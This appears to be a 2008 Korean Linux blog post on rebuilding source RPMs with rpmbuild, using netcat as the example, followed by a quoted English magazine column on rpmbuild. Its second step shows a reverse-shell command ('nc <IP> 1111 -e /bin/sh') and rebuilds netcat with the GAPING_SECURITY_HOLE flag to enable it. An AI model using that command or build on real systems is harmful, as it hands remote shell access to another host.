OS/LINUX2008. 2. 11. 23:25
반응형

rpmbuild ;

 

src.rpm 파일을 사용하여 자신에 시스템에 맞는 rpm 을 배포판에 맞는 위치 (/usr/src/redhat/RPMS)에 생성한다.

 

SRPM 은 http://isoredirect.centos.org/centos/4/os/SRPMS/ 와 같은 곳에서 구할 수 있다.

 

 

 

[STEP1] SRC RPM 설치하기.

 

 

rpmbuild --rebuild nc-1.10-22.src.rpm

 

 

nc-1.10-22.src.rpm(을)를 설치합니다
경고: buildcentos 사용자가 존재하지 않습니다 - root를 이용합니다
경고: buildcentos 그룹이 존재하지 않습니다 - root를 이용합니다
실행 중(%prep): /bin/sh -e /var/tmp/rpm-tmp.46458
+ umask 022
+ cd /usr/src/redhat/BUILD
.

.

.

+ cd nc
+ DOCDIR=/var/tmp/nc-root/usr/share/doc/nc-1.10
+ export DOCDIR
+ rm -rf /var/tmp/nc-root/usr/share/doc/nc-1.10
+ /bin/mkdir -p /var/tmp/nc-root/usr/share/doc/nc-1.10
+ cp -pr README Changelog scripts /var/tmp/nc-root/usr/share/doc/nc-1.10
+ exit 0
Requires(rpmlib): rpmlib(CompressedFileNames) <= 3.0.4-1 rpmlib(PayloadFilesHavePrefix) <= 4.0-1
Requires: /bin/sh libc.so.6 libc.so.6(GLIBC_2.0) libc.so.6(GLIBC_2.2)
파일 처리 중: nc-debuginfo-1.10-22
Requires(rpmlib): rpmlib(CompressedFileNames) <= 3.0.4-1 rpmlib(PayloadFilesHavePrefix) <= 4.0-1
Checking for unpackaged file(s): /usr/lib/rpm/check-files /var/tmp/nc-root
작성: /usr/src/redhat/RPMS/i386/nc-1.10-22.i386.rpm
작성: /usr/src/redhat/RPMS/i386/nc-debuginfo-1.10-22.i386.rpm
실행 중(%clean): /bin/sh -e /var/tmp/rpm-tmp.77747
+ umask 022
+ cd /usr/src/redhat/BUILD
+ cd nc
+ rm -rf /var/tmp/nc-root
+ exit 0
실행 중(--clean): /bin/sh -e /var/tmp/rpm-tmp.77747
+ umask 022
+ cd /usr/src/redhat/BUILD
+ rm -rf nc
+ exit 0

 

아래 명령으로 src.rpm 을 풀어보면, 원본 소스와 패치 파일들을 볼 수 있다.


# rpm2cpio nc-1.10-22.src.rpm | cpio -idumv

 

 

 

 

[STEP2] SRC RPM 수정하여 설치하기. (소스파일)

 

 

 

# nc 192.232.117.82 1111 -e /bin/sh

 

다음과 같이 '-e' 옵션을 사용하기 위해서는 별도의 컴파일 옵션이 필요하다.

 

-----------------------------------------------------------------------------------------
 -e command
             Execute the specified command, using data from the network for stdin, and sending stdout and stderr to the network.  This option is only present if nc was compiled with the GAPING_SECURITY_HOLE compile time option,  since it allows users to make arbitrary programs available to anyone on the network.
            
컴파일시 GAPING_SECURITY_HOLE 옵션이 추가가 되어야 한다.

-----------------------------------------------------------------------------------------

 

1) 최신의 netcat 소스를 얻는다.

 

CentOS SRC RPM : http://isoredirect.centos.org/centos/4/os/SRPMS/nc-1.10-22.src.rpm
(Netcat 원본소스 : http://www.vulnwatch.org/netcat/nc110.tgz)

 

 

[TIP]

- 배포판에서 최신의 src.rpm 파일이 없을 경우, 직접소스 파일을 이용하여 rpm 패키지를 만들 필요가 있다.

- src.rpm 뿐만 아니라. 모든 배포 소스파일(.tar.gz, .tar.bz2) 에는 '서비스명.spec' (ex. httpd.spec) 파일이 들어있다. 이 spec 파일을 사용하여 시스템에 맞는 rpm 을 만들수 있다.

- 아래와 같이 추출한다.

# tar -ztvf apr-util-0.9.7.tar.gz | grep spec

# tar -zxvf apr-util-0.9.7.tar.gz apr-util-0.9.7/apr-util.spec

 


2) 다운받아 src.rpm 패키지를 해제한다.

# rpm2cpio nc-1.10-22.src.rpm | cpio -idumv

 

 

3) 패키지 생성에 사용된는 spec 파일과 원본소스들을 적당한 위치로 옮긴다.
- 여기서는 'redhat'을 사용하여 경로가 /usr/src/redhat 이 된다.


# mv nc.spec /usr/src/redhat/SPECS/
# mv ./* /usr/src/redhat/SOURCES/ <-- 원본소스로 만들경우 소스파일을 그대로(압축된상태)옮겨 놓으면 된다.

 


2-3) 은 아래 명령으로 자동으로 실행된다.

# rpm -Uvh nc-1.10-22.src.rpm

 


4) SPEC 파일 수정

- 우리는 '-e' 옵션을 사용하고 싶기 때문에 spec 파일을 수정할 필요가 있다.
- make 시 확장 옵션이 사용할 수 있도록 XFLAGS 를 입력한다.

 

---------------- /usr/src/redhat/SPECS/nc.spec ----------------------------------------

make CFLAGS="$RPM_OPT_FLAGS" XFLAGS="-DLINUX -DGAPING_SECURITY_HOLE" generic

-----------------------------------------------------------------------------------------

 


5) RPM 패키지를 제작한다.
#
rpmbuild -ba -v /usr/src/redhat/SPECS/nc.spec

 

 

TIP) SRC RPM 작성

# rpmbuild -bs -v /usr/src/redhat/SPECS/nc.spec

작성: /usr/src/redhat/SRPMS/nc-1.10-22.src.rpm

 


6) RPM 을 설치한다.
#
rpm -Uvh ../RPMS/i386/nc-1.10-22.i386.rpm

 

 

 

 

 

 

 

참고문서 : http://www.pcworld.idg.com.au/index.php/id;1013924616;fp;2;fpid;1039317049

 

 

Compiling software with Rpmbuild

 

20/06/2003 07:54:13

 

The performance and space-saving advantages of compiling software from source are regularly championed in this column. Many users, however, find it much easier to install pre-compiled applications distributed in the RPM or DEB formats. In this column, we instruct you in using a tool that combines the performance advantages of compiling software from source with the ease of installation offered by pre-compiled binaries.

 

Have you ever downloaded a Linux application from the Internet and noticed files of the type .src.rpm as available downloads? These files are called source RPMs and contain the source code to the application, as well as instructions on how to turn it into a binary RPM. The rpmbuild tool can use these instructions, known as a spec file, to automatically compile the application and produce a binary RPM for you.

 

Any distribution based on RPM should already have rpmbuild installed. You can check this by typing into a shell:

 

$ rpmbuild

 

which will display if rpmbuild is installed: 

rpmbuild: no spec files given for build

 

To compile a .src.rpm with rpmbuild, use the --rebuild flag as shown below. You may need to be the root user to build an RPM with rpmbuild. To compile a large application with rpmbuild you will potentially need a large amount of free disk space, up to 1GB, available under /usr/src. Note that compiling a large application with rpmbuild may take up to a couple of hours, depending on your CPU speed.

 

$ rpmbuild --rebuild program.src.rpm

 

The process of compiling the application and building an RPM is entirely automated from start to finish and will be displayed on the screen. Often when rebuilding a .src.rpm, you will encounter what is known as a missing dependency. These usually take the form of a missing system file. To compile a .src.rpm, many development packages, identifiable by the presence of the string ‘-devel’ in the filename, may be required. To list the dependencies of a .src.rpm, type the following in a shell:

 

$ rpm -qp --requires program.src.rpm

 

Before attempting to rebuild a .src.rpm, first verify that all of these dependencies have been installed. At the conclusion of the rpmbuild process the location of the freshly compiled binary RPMs generated by rpmbuild will be displayed. Under Red Hat Linux, this location is /usr/src/redhat/. Often two or more RPMs will be generated from a single .src.rpm file. You can install these RPMs as you would any other, by typing as root: $ rpm -ivh program.rpm

 

 

For Search - rpmbuild

반응형

'OS > LINUX' 카테고리의 다른 글

REDHAT 9 설치후 기본 셋팅  (0) 2008.02.27
redhat 9.0 에서 한글이 깨질때..조치  (0) 2008.02.27
yum  (0) 2008.02.11
[LINUX] bonding  (0) 2008.02.11
iptables 추가  (0) 2007.11.21
Posted by [PineTree]